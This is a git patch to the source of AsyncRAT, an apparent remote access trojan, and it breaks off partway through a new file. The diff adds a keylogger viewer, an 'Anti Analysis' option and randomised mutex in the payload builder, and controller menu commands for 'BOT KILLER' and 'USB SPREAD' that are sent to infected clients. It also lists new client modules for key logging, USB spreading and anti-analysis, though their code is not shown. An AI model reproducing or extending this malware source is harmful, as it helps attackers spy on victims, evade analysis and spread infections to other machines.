From 57d114438898ade20aca20f3f226a19d3b40071e Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Mon, 15 Apr 2019 08:09:01 -0700 Subject: [PATCH] Update 0.4 --- .../AsyncRAT-Sharp/AsyncRAT-Sharp.csproj | 10 + .../AsyncRAT-Sharp/Forms/Builder.Designer.cs | 80 ++- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs | 6 + .../AsyncRAT-Sharp/Forms/DownloadFile.cs | 6 +- .../AsyncRAT-Sharp/Forms/FileManager.cs | 9 +- .../AsyncRAT-Sharp/Forms/Form1.Designer.cs | 84 ++- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 88 ++- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx | 6 + .../Forms/Keylogger.Designer.cs | 74 +++ AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs | 38 ++ .../AsyncRAT-Sharp/Forms/Keylogger.resx | 580 ++++++++++++++++++ .../Handle Packet/HandlePacket.cs | 48 +- .../AsyncRAT-Sharp/Resources/Costura.dll | Bin 0 -> 4096 bytes .../AsyncRAT-Sharp/Resources/Costura.xml | 18 + .../AsyncRAT-Sharp/Resources/IconLib.dll | Bin 0 -> 57856 bytes AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe | Bin 99840 -> 141312 bytes AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 2 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 21 +- AsyncRAT-C#/Client/Client.csproj | 22 + AsyncRAT-C#/Client/FodyWeavers.xml | 4 + AsyncRAT-C#/Client/FodyWeavers.xsd | 111 ++++ AsyncRAT-C#/Client/Handle Packet/BotKiller.cs | 82 +++ .../Client/Handle Packet/FileManager.cs | 3 +- .../Client/Handle Packet/HandlePacket.cs | 37 +- .../Client/Handle Packet/LimeLogger.cs | 240 ++++++++ AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs | 222 +++++++ AsyncRAT-C#/Client/Helper/Anti_Analysis.cs | 67 ++ AsyncRAT-C#/Client/Helper/Methods.cs | 17 + AsyncRAT-C#/Client/Install/NormalStartup.cs | 4 +- AsyncRAT-C#/Client/Program.cs | 10 +- AsyncRAT-C#/Client/Settings.cs | 11 +- AsyncRAT-C#/Client/Sockets/ClientSocket.cs | 20 +- AsyncRAT-C#/Client/packages.config | 5 + README.md | 2 +- 34 files changed, 1840 insertions(+), 87 deletions(-) create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.Designer.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.resx create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.dll create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.xml create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/IconLib.dll create mode 100644 AsyncRAT-C#/Client/FodyWeavers.xml create mode 100644 AsyncRAT-C#/Client/FodyWeavers.xsd create mode 100644 AsyncRAT-C#/Client/Handle Packet/BotKiller.cs create mode 100644 AsyncRAT-C#/Client/Handle Packet/LimeLogger.cs create mode 100644 AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs create mode 100644 AsyncRAT-C#/Client/Helper/Anti_Analysis.cs create mode 100644 AsyncRAT-C#/Client/packages.config diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index e09c6dd..aa78eac 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -45,6 +45,7 @@ ..\packages\dnlib.3.2.0\lib\net45\dnlib.dll + True @@ -79,6 +80,12 @@ Form1.cs + + Form + + + Keylogger.cs + Form @@ -166,6 +173,9 @@ Form1.cs + + Keylogger.cs + PortsFrm.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs index 05b3d49..2851314 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs @@ -36,20 +36,23 @@ this.label2 = new System.Windows.Forms.Label(); this.label1 = new System.Windows.Forms.Label(); this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.comboBoxFolder = new System.Windows.Forms.ComboBox(); + this.checkBox1 = new System.Windows.Forms.CheckBox(); this.textFilename = new System.Windows.Forms.TextBox(); this.label3 = new System.Windows.Forms.Label(); this.label4 = new System.Windows.Forms.Label(); - this.checkBox1 = new System.Windows.Forms.CheckBox(); - this.comboBoxFolder = new System.Windows.Forms.ComboBox(); + this.groupBox3 = new System.Windows.Forms.GroupBox(); + this.chkAnti = new System.Windows.Forms.CheckBox(); this.groupBox1.SuspendLayout(); this.groupBox2.SuspendLayout(); + this.groupBox3.SuspendLayout(); this.SuspendLayout(); // // button1 // - this.button1.Location = new System.Drawing.Point(16, 456); + this.button1.Location = new System.Drawing.Point(12, 611); this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(440, 50); + this.button1.Size = new System.Drawing.Size(446, 50); this.button1.TabIndex = 0; this.button1.Text = "Build"; this.button1.UseVisualStyleBackColor = true; @@ -114,6 +117,30 @@ this.groupBox2.TabStop = false; this.groupBox2.Text = "Install"; // + // comboBoxFolder + // + this.comboBoxFolder.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.comboBoxFolder.Enabled = false; + this.comboBoxFolder.FormattingEnabled = true; + this.comboBoxFolder.Items.AddRange(new object[] { + "%AppData%", + "%Temp%"}); + this.comboBoxFolder.Location = new System.Drawing.Point(106, 150); + this.comboBoxFolder.Name = "comboBoxFolder"; + this.comboBoxFolder.Size = new System.Drawing.Size(271, 28); + this.comboBoxFolder.TabIndex = 8; + // + // checkBox1 + // + this.checkBox1.AutoSize = true; + this.checkBox1.Location = new System.Drawing.Point(18, 40); + this.checkBox1.Name = "checkBox1"; + this.checkBox1.Size = new System.Drawing.Size(67, 24); + this.checkBox1.TabIndex = 7; + this.checkBox1.Text = "OFF"; + this.checkBox1.UseVisualStyleBackColor = true; + this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged); + // // textFilename // this.textFilename.Enabled = false; @@ -140,35 +167,34 @@ this.label4.TabIndex = 4; this.label4.Text = "Filename"; // - // checkBox1 + // groupBox3 // - this.checkBox1.AutoSize = true; - this.checkBox1.Location = new System.Drawing.Point(18, 40); - this.checkBox1.Name = "checkBox1"; - this.checkBox1.Size = new System.Drawing.Size(67, 24); - this.checkBox1.TabIndex = 7; - this.checkBox1.Text = "OFF"; - this.checkBox1.UseVisualStyleBackColor = true; - this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged); + this.groupBox3.Controls.Add(this.chkAnti); + this.groupBox3.Location = new System.Drawing.Point(16, 468); + this.groupBox3.Name = "groupBox3"; + this.groupBox3.Size = new System.Drawing.Size(440, 99); + this.groupBox3.TabIndex = 9; + this.groupBox3.TabStop = false; + this.groupBox3.Text = "MISC"; // - // comboBoxFolder + // chkAnti // - this.comboBoxFolder.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; - this.comboBoxFolder.Enabled = false; - this.comboBoxFolder.FormattingEnabled = true; - this.comboBoxFolder.Items.AddRange(new object[] { - "%AppData%", - "%Temp%"}); - this.comboBoxFolder.Location = new System.Drawing.Point(106, 150); - this.comboBoxFolder.Name = "comboBoxFolder"; - this.comboBoxFolder.Size = new System.Drawing.Size(271, 28); - this.comboBoxFolder.TabIndex = 8; + this.chkAnti.AutoSize = true; + this.chkAnti.Checked = true; + this.chkAnti.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkAnti.Location = new System.Drawing.Point(21, 40); + this.chkAnti.Name = "chkAnti"; + this.chkAnti.Size = new System.Drawing.Size(125, 24); + this.chkAnti.TabIndex = 9; + this.chkAnti.Text = "Anti Analysis"; + this.chkAnti.UseVisualStyleBackColor = true; // // Builder // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(470, 518); + this.ClientSize = new System.Drawing.Size(470, 693); + this.Controls.Add(this.groupBox3); this.Controls.Add(this.groupBox2); this.Controls.Add(this.groupBox1); this.Controls.Add(this.button1); @@ -180,6 +206,8 @@ this.groupBox1.PerformLayout(); this.groupBox2.ResumeLayout(false); this.groupBox2.PerformLayout(); + this.groupBox3.ResumeLayout(false); + this.groupBox3.PerformLayout(); this.ResumeLayout(false); } @@ -198,5 +226,7 @@ private System.Windows.Forms.Label label4; private System.Windows.Forms.CheckBox checkBox1; private System.Windows.Forms.ComboBox comboBoxFolder; + private System.Windows.Forms.GroupBox groupBox3; + private System.Windows.Forms.CheckBox chkAnti; } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs index e112147..8f63445 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs @@ -52,6 +52,12 @@ namespace AsyncRAT_Sharp.Forms if (method.Body.Instructions[i].Operand.ToString() == "false") method.Body.Instructions[i].Operand = checkBox1.Checked.ToString().ToLower(); + if (method.Body.Instructions[i].Operand.ToString() == "%Anti%") + method.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower(); + + if (method.Body.Instructions[i].Operand.ToString() == "%MTX%") + method.Body.Instructions[i].Operand = Path.GetRandomFileName(); + if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT") method.Body.Instructions[i].Operand = Settings.Password; } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs index 1595d65..0807a38 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs @@ -20,11 +20,11 @@ namespace AsyncRAT_Sharp.Forms public Form1 F { get; set; } internal Clients C { get; set; } - public long Size = 0; + public long dSize = 0; private void timer1_Tick(object sender, EventArgs e) { - labelsize.Text = $"{Methods.BytesToString(Size)} \\ {Methods.BytesToString(C.BytesRecevied)}"; - if (C.BytesRecevied > Size) + labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}"; + if (C.BytesRecevied > dSize) { labelsize.Text = "Downloaded"; labelsize.ForeColor = Color.Green; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs index 50fb303..fd6847f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs @@ -120,9 +120,7 @@ namespace AsyncRAT_Sharp.Forms ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); } } - catch (Exception ex) - { - } + catch { } } private void dELETEToolStripMenuItem_Click(object sender, EventArgs e) @@ -142,10 +140,7 @@ namespace AsyncRAT_Sharp.Forms } } } - catch - { - - } + catch { } } private void rEFRESHToolStripMenuItem_Click(object sender, EventArgs e) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs index 179cef9..c446b3b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs @@ -47,10 +47,13 @@ this.sENDFILEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sENDFILETOMEMORYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.rEMOTEDESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.kEYLOGGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.fILEMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.pROCESSMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.bOTKILLERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.uSBSPREADToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); this.bUILDERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.fILEMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.ping = new System.Windows.Forms.Timer(this.components); @@ -61,11 +64,15 @@ this.listView2 = new System.Windows.Forms.ListView(); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.performanceCounter1 = new System.Diagnostics.PerformanceCounter(); + this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); this.contextMenuStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.tabControl1.SuspendLayout(); this.tabPage1.SuspendLayout(); this.tabPage2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).BeginInit(); this.SuspendLayout(); // // listView1 @@ -133,12 +140,16 @@ this.sENDFILEToolStripMenuItem, this.sENDFILETOMEMORYToolStripMenuItem, this.rEMOTEDESKTOPToolStripMenuItem, + this.kEYLOGGERToolStripMenuItem, this.fILEMANAGERToolStripMenuItem, this.pROCESSMANAGERToolStripMenuItem, + this.bOTKILLERToolStripMenuItem, + this.uSBSPREADToolStripMenuItem, this.toolStripSeparator2, this.bUILDERToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(275, 256); + this.contextMenuStrip1.ShowImageMargin = false; + this.contextMenuStrip1.Size = new System.Drawing.Size(275, 346); // // cLIENTOPTIONSToolStripMenuItem // @@ -148,7 +159,7 @@ this.uNISTALLToolStripMenuItem}); this.cLIENTOPTIONSToolStripMenuItem.Name = "cLIENTOPTIONSToolStripMenuItem"; this.cLIENTOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.cLIENTOPTIONSToolStripMenuItem.Text = "CLIENT OPTIONS"; + this.cLIENTOPTIONSToolStripMenuItem.Text = "[$] CLIENT OPTIONS"; // // cLOSEToolStripMenuItem // @@ -180,37 +191,65 @@ // this.sENDMESSAGEBOXToolStripMenuItem.Name = "sENDMESSAGEBOXToolStripMenuItem"; this.sENDMESSAGEBOXToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.sENDMESSAGEBOXToolStripMenuItem.Text = "SEND MESSAGEBOX"; + this.sENDMESSAGEBOXToolStripMenuItem.Text = "[1] SEND MESSAGEBOX"; this.sENDMESSAGEBOXToolStripMenuItem.Click += new System.EventHandler(this.sENDMESSAGEBOXToolStripMenuItem_Click); // // sENDFILEToolStripMenuItem // this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.sENDFILEToolStripMenuItem.Text = "SEND FILE TO DISK"; + this.sENDFILEToolStripMenuItem.Text = "[2] SEND FILE TO DISK"; this.sENDFILEToolStripMenuItem.Click += new System.EventHandler(this.sENDFILEToolStripMenuItem_Click_1); // // sENDFILETOMEMORYToolStripMenuItem // this.sENDFILETOMEMORYToolStripMenuItem.Name = "sENDFILETOMEMORYToolStripMenuItem"; this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY"; + this.sENDFILETOMEMORYToolStripMenuItem.Text = "[3] SEND FILE TO MEMORY"; this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click); // // rEMOTEDESKTOPToolStripMenuItem // this.rEMOTEDESKTOPToolStripMenuItem.Name = "rEMOTEDESKTOPToolStripMenuItem"; this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.rEMOTEDESKTOPToolStripMenuItem.Text = "REMOTE DESKTOP"; + this.rEMOTEDESKTOPToolStripMenuItem.Text = "[4] REMOTE DESKTOP"; this.rEMOTEDESKTOPToolStripMenuItem.Click += new System.EventHandler(this.rEMOTEDESKTOPToolStripMenuItem_Click); // + // kEYLOGGERToolStripMenuItem + // + this.kEYLOGGERToolStripMenuItem.Name = "kEYLOGGERToolStripMenuItem"; + this.kEYLOGGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); + this.kEYLOGGERToolStripMenuItem.Text = "[5] KEYLOGGER"; + this.kEYLOGGERToolStripMenuItem.Click += new System.EventHandler(this.KEYLOGGERToolStripMenuItem_Click); + // + // fILEMANAGERToolStripMenuItem + // + this.fILEMANAGERToolStripMenuItem.Name = "fILEMANAGERToolStripMenuItem"; + this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); + this.fILEMANAGERToolStripMenuItem.Text = "[6] FILE MANAGER"; + this.fILEMANAGERToolStripMenuItem.Click += new System.EventHandler(this.fILEMANAGERToolStripMenuItem_Click); + // // pROCESSMANAGERToolStripMenuItem // this.pROCESSMANAGERToolStripMenuItem.Name = "pROCESSMANAGERToolStripMenuItem"; this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.pROCESSMANAGERToolStripMenuItem.Text = "PROCESS MANAGER"; + this.pROCESSMANAGERToolStripMenuItem.Text = "[7] PROCESS MANAGER"; this.pROCESSMANAGERToolStripMenuItem.Click += new System.EventHandler(this.pROCESSMANAGERToolStripMenuItem_Click); // + // bOTKILLERToolStripMenuItem + // + this.bOTKILLERToolStripMenuItem.Name = "bOTKILLERToolStripMenuItem"; + this.bOTKILLERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); + this.bOTKILLERToolStripMenuItem.Text = "[8] BOT KILLER"; + this.bOTKILLERToolStripMenuItem.Click += new System.EventHandler(this.BOTKILLERToolStripMenuItem_Click); + // + // uSBSPREADToolStripMenuItem + // + this.uSBSPREADToolStripMenuItem.Name = "uSBSPREADToolStripMenuItem"; + this.uSBSPREADToolStripMenuItem.Size = new System.Drawing.Size(274, 30); + this.uSBSPREADToolStripMenuItem.Text = "[9] USB SPREAD"; + this.uSBSPREADToolStripMenuItem.Click += new System.EventHandler(this.USBSPREADToolStripMenuItem_Click); + // // toolStripSeparator2 // this.toolStripSeparator2.Name = "toolStripSeparator2"; @@ -220,16 +259,9 @@ // this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.bUILDERToolStripMenuItem.Text = "BUILDER"; + this.bUILDERToolStripMenuItem.Text = "[#] BUILDER"; this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); // - // fILEMANAGERToolStripMenuItem - // - this.fILEMANAGERToolStripMenuItem.Name = "fILEMANAGERToolStripMenuItem"; - this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.fILEMANAGERToolStripMenuItem.Text = "FILE MANAGER"; - this.fILEMANAGERToolStripMenuItem.Click += new System.EventHandler(this.fILEMANAGERToolStripMenuItem_Click); - // // statusStrip1 // this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); @@ -256,7 +288,7 @@ // UpdateUI // this.UpdateUI.Enabled = true; - this.UpdateUI.Interval = 1000; + this.UpdateUI.Interval = 500; this.UpdateUI.Tick += new System.EventHandler(this.UpdateUI_Tick); // // tabControl1 @@ -321,6 +353,17 @@ this.columnHeader2.Text = "Message"; this.columnHeader2.Width = 500; // + // performanceCounter1 + // + this.performanceCounter1.CategoryName = "Processor"; + this.performanceCounter1.CounterName = "% Processor Time"; + this.performanceCounter1.InstanceName = "_Total"; + // + // performanceCounter2 + // + this.performanceCounter2.CategoryName = "Memory"; + this.performanceCounter2.CounterName = "% Committed Bytes In Use"; + // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -340,6 +383,8 @@ this.tabControl1.ResumeLayout(false); this.tabPage1.ResumeLayout(false); this.tabPage2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); @@ -378,6 +423,11 @@ private System.Windows.Forms.ColumnHeader columnHeader1; private System.Windows.Forms.ColumnHeader columnHeader2; private System.Windows.Forms.ToolStripMenuItem fILEMANAGERToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem kEYLOGGERToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem bOTKILLERToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem uSBSPREADToolStripMenuItem; + private System.Diagnostics.PerformanceCounter performanceCounter1; + private System.Diagnostics.PerformanceCounter performanceCounter2; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 20c3c05..8ad7b62 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -134,7 +134,7 @@ namespace AsyncRAT_Sharp private void UpdateUI_Tick(object sender, EventArgs e) { - toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}"; + toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%"; } private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) @@ -304,8 +304,6 @@ namespace AsyncRAT_Sharp foreach (ListViewItem C in listView1.SelectedItems) { Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); - this.BeginInvoke((MethodInvoker)(() => { RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID]; @@ -320,6 +318,7 @@ namespace AsyncRAT_Sharp Active = true }; RD.Show(); + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } })); } @@ -344,7 +343,6 @@ namespace AsyncRAT_Sharp foreach (ListViewItem C in listView1.SelectedItems) { Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); this.BeginInvoke((MethodInvoker)(() => { ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; @@ -358,6 +356,7 @@ namespace AsyncRAT_Sharp C = CL }; PM.Show(); + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } })); } @@ -386,7 +385,6 @@ namespace AsyncRAT_Sharp foreach (ListViewItem C in listView1.SelectedItems) { Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); this.BeginInvoke((MethodInvoker)(() => { FileManager FM = (FileManager)Application.OpenForms["fileManager:" + CL.ID]; @@ -400,6 +398,7 @@ namespace AsyncRAT_Sharp C = CL }; FM.Show(); + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } })); } @@ -410,5 +409,84 @@ namespace AsyncRAT_Sharp MessageBox.Show(ex.Message); } } + + private void KEYLOGGERToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + if (listView1.SelectedItems.Count > 0) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("isON").AsString = "true"; + foreach (ListViewItem C in listView1.SelectedItems) + { + Clients CL = (Clients)C.Tag; + this.BeginInvoke((MethodInvoker)(() => + { + Keylogger KL = (Keylogger)Application.OpenForms["keyLogger:" + CL.ID]; + if (KL == null) + { + KL = new Keylogger + { + Name = "keyLogger:" + CL.ID, + Text = "keyLogger:" + CL.ID, + F = this, + C = CL + }; + KL.Show(); + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + } + })); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + } + } + + private void BOTKILLERToolStripMenuItem_Click(object sender, EventArgs e) + { + if (listView1.SelectedItems.Count > 0) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "botKiller"; + foreach (ListViewItem C in listView1.SelectedItems) + { + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + } + } + } + + private void USBSPREADToolStripMenuItem_Click(object sender, EventArgs e) + { + if (listView1.SelectedItems.Count > 0) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "usbSpread"; + foreach (ListViewItem C in listView1.SelectedItems) + { + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + } + } + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx index 174be44..165d9f9 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx @@ -129,6 +129,12 @@ 490, 17 + + 629, 17 + + + 871, 17 + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.Designer.cs new file mode 100644 index 0000000..e30bcaf --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.Designer.cs @@ -0,0 +1,74 @@ +namespace AsyncRAT_Sharp.Forms +{ + partial class Keylogger + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Keylogger)); + this.richTextBox1 = new System.Windows.Forms.RichTextBox(); + this.timer1 = new System.Windows.Forms.Timer(this.components); + this.SuspendLayout(); + // + // richTextBox1 + // + this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.richTextBox1.Font = new System.Drawing.Font("Tahoma", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.richTextBox1.Location = new System.Drawing.Point(0, 0); + this.richTextBox1.Name = "richTextBox1"; + this.richTextBox1.ReadOnly = true; + this.richTextBox1.ShortcutsEnabled = false; + this.richTextBox1.Size = new System.Drawing.Size(800, 450); + this.richTextBox1.TabIndex = 0; + this.richTextBox1.Text = ""; + // + // timer1 + // + this.timer1.Enabled = true; + this.timer1.Interval = 1000; + this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); + // + // Keylogger + // + this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.richTextBox1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "Keylogger"; + this.Text = "Keylogger"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Keylogger_FormClosed); + this.ResumeLayout(false); + + } + + #endregion + private System.Windows.Forms.Timer timer1; + public System.Windows.Forms.RichTextBox richTextBox1; + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs new file mode 100644 index 0000000..700bedd --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs @@ -0,0 +1,38 @@ +using AsyncRAT_Sharp.MessagePack; +using AsyncRAT_Sharp.Sockets; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using 